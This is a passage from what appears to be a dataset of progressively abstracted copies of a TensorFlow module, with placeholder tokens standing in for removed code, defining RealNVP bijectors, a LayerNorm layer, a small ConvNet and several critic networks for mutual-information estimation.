self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n <docstring token>\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n <docstring token>\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n <function token>\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n <docstring token>\n <function token>\n <function token>\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n <docstring token>\n <function token>\n <function token>\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n <function token>\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\n<function token>\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n\n\nclass LayerNorm(tfkl.Layer):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, 